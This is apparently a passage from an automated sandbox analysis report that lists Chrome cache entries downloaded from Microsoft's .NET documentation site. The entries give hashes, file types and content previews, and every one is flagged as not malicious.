SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
